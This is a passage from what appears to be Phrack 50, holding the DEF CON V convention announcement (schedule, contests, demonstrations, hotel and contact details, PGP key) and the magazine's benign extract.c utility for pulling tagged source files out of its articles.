  13401. SCHEDULE:-------------------------------------------------------------------
  13402. -
  13403.  
  13404. FRIDAY:  Network Setup, Sign in, Informal PGP Keysigning at the "PGP
  13405. table",
  13406. Lots of Partying.  Capture the Flag Contest Starts at 16:00
  13407.  
  13408. On Friday there will be the demonstrations of the Radio Burst Cannon, a
  13409. "real" rail gun, and an omni-directional cell phone jammer.  Times to be
  13410. announced.
  13411.  
  13412. 10:00 -      Doors open, sign in starts
  13413. 10:00 -      Movies start in main conference room
  13414. 16:00 -      Capture the Flag II starts
  13415.  
  13416. Breakout Tech Sessions:
  13417.  
  13418. 19:00 -      Tech Talks starts in break out room
  13419.  
  13420. 24:00 (Midnight) Hacker Jeopardy Starts.
  13421.  
  13422. SATURDAY: 
  13423.  
  13424. Speakers from 10:00 to 19:00  This is _NOT_ the order they will speak in.
  13425.  
  13426. 10:00 - 10:50 Keynote (?)
  13427. 11:00 - 11:50 Bruce Schneier
  13428. 12:00 - 12:50 Yobie
  13429. 13:00 - 13:50 Clovis
  13430. 14:00 - 14:50 FBI Computer Crime Squad
  13431. 15:00 - 15:50 Richard Theme
  13432. 16:00 - 16:50 Seven
  13433. 17:00 - 17:50 RK
  13434. 18:00 - 18:50 Tom Farley
  13435.  
  13436. Breakout Tech Sessions:
  13437.  
  13438. Nihil
  13439. Koresh
  13440. Mudge
  13441. Weld Pond
  13442. G. Gillis
  13443.  
  13444. 24:00 (Midnight) Final rounds of Hacker Jeopardy.
  13445.  
  13446. SUNDAY:
  13447.  
  13448. Speakers from 10:00 to 16:00 This is _NOT_ the order they will speak in.
  13449.  
  13450. 10:00 - 10:50 Michael Q.
  13451. 11:00 - 11:50 Ira Winkler
  13452. 12:00 - 12:50
  13453. 13:00 - 13:50
  13454. 14:00 - 14:50
  13455. 15:00 - 15:50
  13456.  
  13457.  
  13458. Breakout Tech Sessions:
  13459.  
  13460.  
  13461.  
  13462. 16:00          Awards for Capture the Flag
  13463.            End of it all, cleanup, etc.  See you all next year!
  13464.  
  13465. EVENTS:---------------------------------------------------------------------
  13466. -
  13467.  
  13468. [>     HACKER JEOPARDY:
  13469.  
  13470.        Winn is back with Hacker Jeopardy!!  The third year in the running!
  13471.        Can the all-powerful Strat and his crypto-minion Erik, whose force
  13472.        cannot be contained, be defeated?!  Will the powers that be allow
  13473.        Strat-Meister to dominate this beloved event for the third year in
  13474.        a row?!  Can Erik continue to pimp-slap the audience into submission
  13475.        with a spoon in his mouth?!?  Only Skill, Time, and booze will tell
  13476.        the tail!
  13477.  
  13478.        The Holy Cow will help supply the beer, you supply the answers.
  13479.        The first round starts at 12 midnight o'clock on Friday and lasts
  13480.        until it is done.  The second and secret rounds will happen Saturday
  13481.        at midnight.
  13482.  
  13483.        6 teams will be picked at random and compete for the final round.
  13484.        There can be only one!  Strat's Team, the winners from last year
  13485.        will defend if all the members can be found.
  13486.  
  13487. [>     FREE BEER!
  13488.        
  13489.        Holy Cow will provide free beer tickets!  If you are over 21 prepare
  13490.        to consume "hacker" beers.  Actually it's whatever beer they have on
  13491.        tap, but it's the best beer in Las Vegas.  Follow Las Vegas Blvd. up
  13492.        until you see the florescent cow with the big sunglasses.  All taxi 
  13493.        drivers know of this Mecca.  Over 1,000 free beers in all!
  13494.  
  13495. [>     BLACK AND WHITE BALL:
  13496.  
  13497.        We've talked it over, and the verdict is in.  For the last two years
  13498.  
  13499.        at DEF CON there has been a sort of unspoken Saturday night dress up
  13500.        event.  People have worn everything from party dresses and Tuxedoes 
  13501.        to AJ's ultra pimp Swank outfit with tiger print kilt.  This year it
  13502.        is official.  Wear your cool shit Saturday night, be it gothic or
  13503. PVC
  13504.        vinyl or Yakuza looking black MIBs.  No prizes, just your chance to 
  13505.        be the uber-bustah pimp.
  13506.       
  13507. [>     THE TCP/IP DRINKING GAME:
  13508.  
  13509.        If you don't know the rules, you'll figure 'em out.
  13510.  
  13511. [>     CAPTURE THE FLAG:
  13512.        The second year of capture the flag is back. With the lessons
  13513. learned
  13514.        from last year the contest should be more interesting and intense.
  13515.        Up to six machines will be connected running different operating
  13516.        systems.  The object is to control as many machines as possible at
  13517.        certain time periods.  You can form teams or go it lone star.  There
  13518.        will be valuable cash prizes and redeemable coupons for those who
  13519.        come in first and second, plus various runner up stuffs.  
  13520.  
  13521.        Four protocols (TCP/IP, NetBeui, IPX, and x.25!  Yes, you heard
  13522.        right, x.25) and three segments with 2 boxes per segment.  Pick your
  13523.        segment, protect your boxes.  At all times you must have a WWW
  13524.        server (port 80), finger, and mail working.  There will be several
  13525.        stock operating systems on the network including linux, FreeBsd,
  13526.        Windows NT, Novell, Some Apple System 7.x, and who knows what else.
  13527.  
  13528.        More specifics as time goes on.
  13529.  
  13530. [>     VIRTUAL WORLD:
  13531.  
  13532.        We are working on the group discounts like the last two years.
  13533.  
  13534. [>     QUAKE COMPETITION:
  13535.  
  13536.        http://www.ctive.com/ntech/defcon.htm
  13537.  
  13538.        This year knightPhlight contacted me and wanted to organize a single
  13539.        elimination Quake competition to find out who that badest ass 'mo
  13540. 'fo
  13541.        is.  Check out the web site to get the rules, sign up, or to
  13542.        donate a computer the greater good of destruction.
  13543.  
  13544.        It is IMHO that Quake by id Software rules 3D action gaming. But who
  13545.        rules Quake?  We'll find out this July 11th-13th at the DefCon
  13546.        Conference in Las Vegas. This isn't going to be a networked game
  13547.        intent on quickly eliminating as many players as possible in a
  13548. single
  13549.        round. Rather, one-on-one games will be played to absolutely
  13550.        determine who the best really is.
  13551.  
  13552.        Of course, you already know your the best so why would you feel
  13553.        obligated to prove it? Because we'll give the first place winner
  13554.        $750. Now, being the wily person you are, I bet you would like to
  13555.        know where I got the money for the prizes. It'll come from your
  13556.        registration fee of $7.50.  Any half wit can do the math and see the
  13557.        10,000% return for the winner. But just for entering you'll be in a
  13558.        drawing for really kewl stuff. If you don't think its kewl you can
  13559.        just give us your email address and we'll be happy to send you a
  13560.        couple hundred thousand messages explaining why the prizes are
  13561. great.
  13562.  
  13563. [>     NET CONNECTION:
  13564.  
  13565.        This year we are pre-building many of the network boxes so the net
  13566.        can go up first thing Friday.  It looks like we will have a T1 line
  13567.        and we will break it out to 10 BaseT hubs.  If you want in on the 
  13568.        network bring along the appropriate cables and adapters.
  13569.  
  13570.        More Net Madness!  The T1 bandwidth will allow us to do the 
  13571.        following cool stuff:
  13572.  
  13573.        - Have several color quickcams and a CU-SeeMe reflector site set
  13574.        up so people not at the con can check out what's going on.  During
  13575.        the convention check out the DEF CON web site to get the location
  13576.        of the reflector site.  You should get and install the software
  13577.        needed to view CU-SeeMe streams in advance!
  13578.  
  13579.        - Have a RealAudio server set up to stream the speakers talks to
  13580.        those who can not attend.
  13581.  
  13582.        - Potentially play a competitive multi user game(s) over the net.
  13583.  
  13584.        NOTE!  If you wish to participate interactively with the convention
  13585.        please e-mail me and we can coordinate something.  It would be
  13586.        great to get people from all over the world involved.
  13587.  
  13588. [>     5th ANNUAL SPOT THE FED CONTEST:
  13589.  
  13590.        The ever popular paranoia builder.  Who IS that person next to you?
  13591.  
  13592.        "Like a paranoid version of pin the tail on the donkey, the
  13593.        favorite sport at this gathering of computer hackers and phone
  13594.        phreaks seems to be hunting down real and imagined telephone
  13595.        security and Federal and local law enforcement authorities who the
  13596.        attendees are certain are tracking their every move.. .. Of course,
  13597.        they may be right."
  13598.                                                        - John Markhoff, NYT
  13599.  
  13600.        Basically the contest goes like this:  If you see some shady MIB
  13601.        (Men in Black) earphone penny loafer sunglass wearing Clint Eastwood
  13602.        to live and die in LA type lurking about, point him out.  Just get
  13603.        my attention and claim out loud you think you have spotted a fed.
  13604.        The people around at the time will then (I bet) start to discuss the
  13605.        possibility of whether or not a real fed has been spotted.  Once
  13606.        enough people have decided that a fed has been spotted, and the
  13607.        Identified Fed (I.F.) has had a say, and informal vote takes place,
  13608.        and if enough people think it's a true fed, or fed wanna-be, or
  13609.        other nefarious style character, you win a "I spotted the fed!"
  13610.        shirt, and the I.F. gets an "I am the fed!" shirt.
  13611.  
  13612.        NOTE TO THE FEDS:  This is all in good fun, and if you survive
  13613.        unmolested and undetected, but would still secretly like an "I am
  13614.        the fed!" shirt to wear around the office or when booting in doors,
  13615.        please contact me when no one is looking and I will take your
  13616.        order(s).  Just think of all the looks of awe you'll generate at
  13617.        work wearing this shirt while you file away all the paperwork
  13618.        you'll have to produce over this convention.  I won't turn in any
  13619.        feds who contact me, they have to be spotted by others.
  13620.  
  13621. [>     RAIL GUN DEMONSTRATION: (Friday)
  13622.  
  13623.        On Friday afternoon there will be a demonstration of a hand held
  13624.        rail gun.  This garage project should be able to fire a graphite
  13625.        washer very, very fast.
  13626.  
  13627. [>     OMNIDIRECTIONAL CELL PHONE JAMMER DEMONSTRAITON: (Friday)
  13628.  
  13629.        Another interesting creation to be tested on Friday in the desert.
  13630.        Come along and watch you cell phone antenna explode with power!
  13631.        See control channels crumble before you.
  13632.  
  13633. [>     RADIO BURST CANNON DEMONSTRATION: (Friday)
  13634.  
  13635.        While not quite a HERF gun, this should come close.  The RBC should
  13636.        be able to produce up to or less than one MegaWatt for up to or less
  13637.        than one second.  What will this do?  Who knows!  Come and find out.
  13638.        Obviously the above demonstrations will take place away from the 
  13639.        local hospitals and casinos out in the desert someplace, so be
  13640.        prepared.
  13641.  
  13642.  
  13643. HOTELS:---------------------------------------------------------------------
  13644. -
  13645.  
  13646. [> Book your room NOW!!!  We have a block of rooms, but it is first come,
  13647. [> first served.  Rooms get released about one month before the convention.
  13648. [> Book by June 9th or risk it.  The room rates are quite cool this year.
  13649.  
  13650.  
  13651.        PRIMARY HOTEL: The Aladdin Hotel and Casino
  13652.        3667 Las Vegas Blvd. South, Las Vegas, Nevada
  13653.        Built in 1966 it is one of the oldest hotels in Las Vegas that
  13654.        hasn't been blown up to make room for newer ones.  It is quite nice
  13655.        and has Tennis courts, two swimming pools, Chinese, Vietnamese and
  13656.        Korean.  A Seafood and steakhouse, Joe's Diner and a 24 hour coffee
  13657.        shop too.  It's located next to the MGM Theme park on the strip.
  13658.  
  13659.        PHONE: 1-800-225-2632, reference the "DC Communications conference"
  13660.        for reservations.
  13661.  
  13662.        RATES: Single & Double rooms are $65 in the Garden section, $85 for
  13663.        the Tower.  Suites are $250 to $350.  All costs are plus 8% room
  13664. tax.
  13665.        Rollaway beds are available for an additional $15 a night.
  13666.  
  13667.  
  13668. STUFF IN
  13669. VEGAS:--------------------------------------------------------------
  13670.  
  13671. URLs
  13672.  
  13673.     Listings of other hotels in Las Vegas, their numbers, WWW pages, etc.
  13674.     http://www.intermind.net/im/hotel.html
  13675.     http://vegasdaily.com/HotelCasinos/HotelAndCasinos/CasinoList.html
  13676.  
  13677. VENDORS / SPONSORS /
  13678. RESEARCH:-----------------------------------------------
  13679.  
  13680.         If you are interested in selling something (shirts, books,
  13681.         computers, whatever) and want to get a table contact me for costs.
  13682.  
  13683.         If you have some pet research and you want to have the participants
  13684.         fill out anonymous questioners please contact me for the best way
  13685.         to do this.
  13686.  
  13687.         If you want to sponsor any event or part of DEF CON V in return for
  13688.         favorable mentions and media manipulation please contact me.  For
  13689.         example in the past Secure Computing has sponsored a firewall
  13690.         hacking contest.
  13691.  
  13692. MORE
  13693. INFO:-------------------------------------------------------------------
  13694.  
  13695.  [>     DEF CON Voice Bridge (801) 855-3326 
  13696.  
  13697.         This is a multi-line voice bbs, VMB and voice conference system.
  13698.         There are 5 or so conference areas, with up to eight people on each
  13699.         one.  Anyone can create a free VMB, and there are different voice
  13700.         bbs sections for separate topics.  This is a good neutral meeting
  13701.         place to hook up with others.
  13702.  
  13703.         The Voice bridge will be changing numbers soon, but the old number
  13704.         will refer you to the new location.  The new spot won't suffer from
  13705.         "Phantom" bridges!
  13706.  
  13707.  [>     MAILING LIST
  13708.  
  13709.         send emial to majordomo@merde.dis.org and in the body of the
  13710. message 
  13711.         include the following on a separate line each.
  13712.  
  13713.         subscribe dc-stuff
  13714.  
  13715.         dc-announce is used for convention updates and major announcements,
  13716.         dc-stuff is related to general conversation, planning rides and
  13717.         rooms, etc.
  13718.  
  13719.  [>     WWW Site http://www.defcon.org/
  13720.  
  13721.         Convention updates and archives from previous conventions are
  13722. housed
  13723.         here.  Past speakers, topics, and stuff for sale.  Also a growing
  13724.         section of links to other places of interest and current events.
  13725.  
  13726.  [>    The Third Annual California Car Caravan to DEF CON!
  13727.         http://exo.com/~enigma/caravan/
  13728.  
  13729.  [>     The DEF CON V Car ride sharing page:  Use this site to arrange ride
  13730.         sharing to the convention from all over North America.  If you can 
  13731.         spare a seat for someone, or need to leech a ride go to the ride
  13732.         sharing page set up by Squeaky.
  13733.         http://www.geocities.com/ResearchTriangle/4955/defcon.html
  13734.  
  13735.         Room Sharing Page:
  13736.         
  13737.  [>     EMAIL dtangent@defcon.org
  13738.  
  13739.         Send all email questions / comments to dtangent@defcon.org.  It has
  13740.         been said that my email is monitored by various people.  If you
  13741. want
  13742.         to say something private, please do so with my pgp key (At the 
  13743.         bottom of this announcement)  I usually respond to everything, if
  13744.         not I'm swamped or had a system problem.
  13745.  
  13746.  [>     SNAIL MAIL
  13747.  
  13748.         Send all written materials, pre-registrations, etc. to:
  13749.         DEF CON, 2709 E. Madison, Seattle WA, 98112
  13750.         If you are pre-registering for $30 please make payable to DEF CON
  13751.         and include a name to which you want the registration to apply.
  13752.         I don't respond to registrations unless you request.
  13753.  
  13754. DO YOU WANT TO
  13755. HELP?---------------------------------------------------------
  13756.  
  13757.         Here is what you can do if you want to help out or participate in
  13758.         some way:
  13759.  
  13760.         Donate stuff for the continuous give-aways and the various
  13761. contests.
  13762.         Got extra ancient stuff, or new cool stuff you don't use anymore?
  13763.         Donate it to a good cause!  One person was very happy over winning
  13764.         an osborne "portable" computer.
  13765.  
  13766.         ORGANIZE sharing a room or rides with other people in your area.
  13767.         Join the mailing list and let people know you have floor space or
  13768.         some extra seats in your car.  Hey, what's the worst that can
  13769.         happen besides a trashed hotel room or a car-jacking?
  13770.  
  13771.         CREATE questions for hacker jeopardy (you know how the game is
  13772.         played) and email them to winn@infowar.com.  No one helped out last
  13773.         year, so this year let's try.  Everything from "Famous narks" to
  13774.         "unix bugs" is fair game.
  13775.  
  13776.         BRING a machine with a 10bt interface card, and get on the local
  13777.         network, trade pgp signatures, etc.
  13778.  
  13779. FINAL CHECK LIST OF STUFF TO
  13780. BRING:------------------------------------------
  13781.  
  13782. MY PGP
  13783. KEY:------------------------------------------------------------------
  13784.  
  13785. - -----BEGIN PGP PUBLIC KEY BLOCK-----
  13786. Version: 2.6.1
  13787.  
  13788. mQCNAy6v5H8AAAEEAJ7xUzvdRFMtJW3CLRs2yXL0BC9dBiB6+hAPgBVqSWbHWVIT
  13789. /5A38LPA4zqeGnGpmZjGev6rPeFEGxDfoV68voLOonRPcea9d/ow0Aq2V5I0nUrl
  13790. LKU7gi3TgEXvhUmk04hjr8Wpr92cTEx4cIlvAeyGkoirb+cihstEqldGqClNAAUR
  13791. tCZUaGUgRGFyayBUYW5nZW50IDxkdGFuZ2VudEBkZWZjb24ub3JnPg==
  13792. =ngNC
  13793. - -----END PGP PUBLIC KEY BLOCK-----
  13794.  
  13795. -----BEGIN PGP SIGNATURE-----
  13796. Version: 2.6.2
  13797.  
  13798. iQCVAwUBM07aS8tEqldGqClNAQFuSAQAjwGLBdDKA9TKTNAxewgeluvRXPFu+cLf
  13799. hQ74qJFtGybyik+Te4FPQI3Uw+wjir/4ES1imyjQ9n9oIOh+E0L3moYxbcQKN7iT
  13800. /VWAJXwPNJR8guxGcrRNYO85KXSB2qFrU9JwCwJ/8C5lEi/5FVjqRewpliw68+SW
  13801. 9jHqxFccQUs=
  13802. =PPpy
  13803. -----END PGP SIGNATURE-----
  13804.  
  13805. EOF
  13806.                                 .oO Phrack 50 Oo.
  13807.  
  13808.                             Volume Seven, Issue Fifty
  13809.  
  13810.                                      16 of 16
  13811.  
  13812.                       extract.c by Phrack Staff and sirsyko
  13813.  
  13814.  
  13815. ---------------------8<------------CUT-HERE----------->8---------------------
  13816.  
  13817. /*  extract.c by Phrack Staff and sirsyko 
  13818.  *
  13819.  *  Phrack Magazine, 1997 
  13820.  *
  13821.  *  Extracts textfiles from a specially tagged flatfile into a hierarchical 
  13822.  *  directory strcuture. Use to extract source code from any of the articles 
  13823.  *  in Phrack Magazine (first appeared in Phrack 50).
  13824.  *
  13825.  *  gcc -o extract extract.c
  13826.  *  
  13827.  *  ./extract filename   
  13828.  * 
  13829.  */   
  13830.  
  13831.  
  13832. #include <stdio.h>
  13833. #include <sys/stat.h>
  13834. #include <string.h>
  13835.  
  13836. int main(int argc, char **argv){ 
  13837.  
  13838.     char *s="<++> ",*e="<-->",b[256],*bp; 
  13839.     FILE *f,*o = NULL; 
  13840.     int l, n, i=0; 
  13841.  
  13842.     l = strlen(s); 
  13843.     n = strlen(e); 
  13844.  
  13845.     if(argc<2) {
  13846.         printf("Usage: %s <inputfile>\n",argv[0]);
  13847.         exit(1); 
  13848.     }
  13849.  
  13850.     if(! (f=fopen(argv[1], "r"))) {
  13851.         printf("Could not open input file.\n");
  13852.     exit(1);
  13853.     }
  13854.  
  13855.     while(fgets(b, 256, f)){ 
  13856.  
  13857.         if(!strncmp (b, s, l)){ 
  13858.         b[strlen(b)-1] = '\0'; 
  13859.  
  13860.         if((bp=strchr(b+l+1,'/')))
  13861.             while (bp){ 
  13862.             *bp='\0';
  13863.             mkdir(b+l, 0700); 
  13864.             *bp='/';
  13865.             bp=strchr(bp+1,'/'); 
  13866.         }
  13867.         if((o = fopen(b+l, "w"))) 
  13868.             printf("- Extracting %s\n",b+l);
  13869.         else {
  13870.         printf("Could not extract '%s'\n",b+l);
  13871.         exit(1);
  13872.         }
  13873.     } 
  13874.         else if(!strncmp (b, e, n)){
  13875.         if(o) fclose(o);
  13876.         else {
  13877.             printf("Error closing file.\n");
  13878.         exit(1);
  13879.         }
  13880.         } 
  13881.         else if(o) {
  13882.             fputs(b, o);
  13883.             i++;
  13884.         }
  13885.     }
  13886.     if(!i) printf("No extraction tags found.\n");
  13887.     return(0);
  13888. }
  13889.  
  13890. ---------------------8<------------CUT-HERE----------->8---------------------
  13891.  
  13892. EOF
  13893.  
  13894.